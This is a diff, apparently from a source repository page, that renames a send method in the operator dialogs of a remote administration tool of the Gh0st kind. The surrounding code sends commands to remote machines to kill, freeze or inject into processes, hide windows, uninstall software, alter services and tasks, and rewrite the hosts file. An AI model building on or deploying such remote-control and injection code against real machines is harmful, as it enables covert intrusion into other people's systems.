AdjustList();
|
||||
BYTE lpBuffer = COMMAND_MACHINE_PROCESS;
|
||||
m_iocpServer->Send(m_ContextObject, (LPBYTE)&lpBuffer, 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)&lpBuffer, 1);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -333,7 +333,7 @@ void CMachineDlg::reflush()
|
||||
int nID = m_tab.GetCurSel();
|
||||
DeleteList();
|
||||
BYTE TOKEN = MachineManager(nID);
|
||||
m_iocpServer->Send(m_ContextObject, (LPBYTE)&TOKEN, 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)&TOKEN, 1);
|
||||
}
|
||||
|
||||
|
||||
@@ -800,7 +800,7 @@ void CMachineDlg::SendToken(BYTE bToken)
|
||||
lpBuffer[0] = bToken;
|
||||
|
||||
memcpy(lpBuffer + 1, tSerName.GetBuffer(0), tSerName.GetLength() * sizeof(char));
|
||||
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
|
||||
@@ -878,7 +878,7 @@ void CMachineDlg::ShowProcessList_menu()
|
||||
lpBuffer[0] = COMMAND_PROCESS_KILLDEL;
|
||||
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
|
||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
}
|
||||
@@ -891,7 +891,7 @@ void CMachineDlg::ShowProcessList_menu()
|
||||
lpBuffer[0] = COMMAND_PROCESS_KILL;
|
||||
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
|
||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
}
|
||||
@@ -904,7 +904,7 @@ void CMachineDlg::ShowProcessList_menu()
|
||||
lpBuffer[0] = COMMAND_PROCESS_FREEZING;
|
||||
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
|
||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
}
|
||||
@@ -917,7 +917,7 @@ void CMachineDlg::ShowProcessList_menu()
|
||||
lpBuffer[0] = COMMAND_PROCESS_THAW;
|
||||
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
|
||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
}
|
||||
@@ -930,7 +930,7 @@ void CMachineDlg::ShowProcessList_menu()
|
||||
lpBuffer[0] = COMMAND_PROCESS_DEL;
|
||||
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
|
||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
}
|
||||
@@ -967,7 +967,7 @@ void CMachineDlg::ShowProcessList_menu()
|
||||
DWORD wr = 0;
|
||||
ReadFile(hFile, lpBuffer + sizeof(InjectData)+1, p_InjectData->datasize, &wr, NULL);
|
||||
CloseHandle(hFile);
|
||||
m_iocpServer->Send(m_ContextObject, lpBuffer, allsize);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, allsize);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
SAFE_DELETE(p_InjectData);
|
||||
@@ -1041,7 +1041,7 @@ void CMachineDlg::ShowWindowsList_menu()
|
||||
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
||||
DWORD dHow = SW_RESTORE;
|
||||
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
|
||||
m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
}
|
||||
}
|
||||
break;
|
||||
@@ -1056,7 +1056,7 @@ void CMachineDlg::ShowWindowsList_menu()
|
||||
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
||||
DWORD dHow = SW_HIDE;
|
||||
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
|
||||
m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
}
|
||||
}
|
||||
break;
|
||||
@@ -1070,7 +1070,7 @@ void CMachineDlg::ShowWindowsList_menu()
|
||||
DWORD hwnd = _tstoi(m_list.GetItemText(nItem, 1));
|
||||
m_list.SetItemText(nItem, 3, _T("<EFBFBD><EFBFBD><EFBFBD>ر<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
|
||||
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
||||
m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
}
|
||||
}
|
||||
break;
|
||||
@@ -1085,7 +1085,7 @@ void CMachineDlg::ShowWindowsList_menu()
|
||||
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
||||
DWORD dHow = SW_MAXIMIZE;
|
||||
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
|
||||
m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
}
|
||||
}
|
||||
break;
|
||||
@@ -1100,7 +1100,7 @@ void CMachineDlg::ShowWindowsList_menu()
|
||||
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
||||
DWORD dHow = SW_MINIMIZE;
|
||||
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
|
||||
m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
}
|
||||
}
|
||||
break;
|
||||
@@ -1114,7 +1114,7 @@ void CMachineDlg::ShowWindowsList_menu()
|
||||
pid = m_list.GetItemText(nItem, 0);
|
||||
DWORD dwProcessID = _tstoi(pid);
|
||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
}
|
||||
@@ -1129,7 +1129,7 @@ void CMachineDlg::ShowWindowsList_menu()
|
||||
pid = m_list.GetItemText(nItem, 0);
|
||||
DWORD dwProcessID = _tstoi(pid);
|
||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
}
|
||||
@@ -1144,7 +1144,7 @@ void CMachineDlg::ShowWindowsList_menu()
|
||||
pid = m_list.GetItemText(nItem, 0);
|
||||
DWORD dwProcessID = _tstoi(pid);
|
||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
}
|
||||
@@ -1201,7 +1201,7 @@ void CMachineDlg::ShowNetStateList_menu()
|
||||
lpBuffer[0] = COMMAND_PROCESS_KILL;
|
||||
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
|
||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
}
|
||||
@@ -1270,7 +1270,7 @@ void CMachineDlg::ShowSoftWareList_menu()
|
||||
LPBYTE lpBuffer = new BYTE[1 + str_a.GetLength()];
|
||||
lpBuffer[0] = COMMAND_APPUNINSTALL;
|
||||
memcpy(lpBuffer + 1, str_a.GetBuffer(0), str_a.GetLength());
|
||||
m_iocpServer->Send(m_ContextObject, lpBuffer, str_a.GetLength() + 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, str_a.GetLength() + 1);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
}
|
||||
@@ -1366,7 +1366,7 @@ void CMachineDlg::ShowTaskList_menu()
|
||||
memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2);
|
||||
offset += lstrlen(taskname.GetBuffer()) * 2 + 2;
|
||||
|
||||
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
|
||||
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
@@ -1394,7 +1394,7 @@ void CMachineDlg::ShowTaskList_menu()
|
||||
memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2);
|
||||
offset += lstrlen(taskname.GetBuffer()) * 2 + 2;
|
||||
|
||||
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
|
||||
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
@@ -1422,7 +1422,7 @@ void CMachineDlg::ShowTaskList_menu()
|
||||
memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2);
|
||||
offset += lstrlen(taskname.GetBuffer()) * 2 + 2;
|
||||
|
||||
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
|
||||
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
@@ -1454,7 +1454,7 @@ void CMachineDlg::ShowTaskList_menu()
|
||||
|
||||
memcpy(lpBuffer + offset, dlg->m_Description.GetBuffer(), lstrlen(dlg->m_Description.GetBuffer()) * 2 + 2);
|
||||
offset += lstrlen(dlg->m_Description.GetBuffer()) * 2 + 2;
|
||||
m_iocpServer->Send(m_ContextObject, lpBuffer, len);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, len);
|
||||
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
@@ -1465,7 +1465,7 @@ void CMachineDlg::ShowTaskList_menu()
|
||||
break;
|
||||
case 104: {
|
||||
BYTE bToken = COMMAND_MACHINE_TASK;
|
||||
m_iocpServer->Send(m_ContextObject, &bToken, 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
|
||||
}
|
||||
break;
|
||||
}
|
||||
@@ -1560,7 +1560,7 @@ void CMachineDlg::ShowServiceList_menu()
|
||||
bToken = COMMAND_SERVICE_LIST_WIN32;
|
||||
else
|
||||
bToken = COMMAND_SERVICE_LIST_DRIVER;
|
||||
m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
}
|
||||
break;
|
||||
case 700:
|
||||
@@ -1630,7 +1630,7 @@ void CMachineDlg::ShowHostsList_menu()
|
||||
LPBYTE lpBuffer = new BYTE[1 + Data_a.GetLength()];
|
||||
lpBuffer[0] = COMMAND_HOSTS_SET;
|
||||
memcpy(lpBuffer + 1, Data_a.GetBuffer(0), Data_a.GetLength());
|
||||
m_iocpServer->Send(m_ContextObject, lpBuffer, Data_a.GetLength() + 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, Data_a.GetLength() + 1);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
break;
|
||||
|
||||
@@ -13,7 +13,7 @@
|
||||
class CMachineDlg : public DialogBase
|
||||
{
|
||||
public:
|
||||
CMachineDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||
CMachineDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||
~CMachineDlg();
|
||||
|
||||
enum { IDD = IDD_MACHINE };
|
||||
|
||||
@@ -82,7 +82,7 @@ void CServiceInfoDlg::SendToken(BYTE bToken)
|
||||
lpBuffer[0] = bToken;
|
||||
|
||||
memcpy(lpBuffer + 1, m_ServiceInfo.strSerName.GetBuffer(0), m_ServiceInfo.strSerName.GetLength());
|
||||
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
|
||||
|
||||
@@ -19,7 +19,7 @@ public:
|
||||
CServiceInfoDlg(CWnd* pParent = NULL);
|
||||
|
||||
ClientContext* m_ContextObject;
|
||||
ISocketBase* m_iocpServer;
|
||||
Server* m_iocpServer;
|
||||
|
||||
enum { IDD = IDD_SERVICE_INFO };
|
||||
CComboBox m_combox_runway;
|
||||
|
||||
Reference in New Issue
Block a user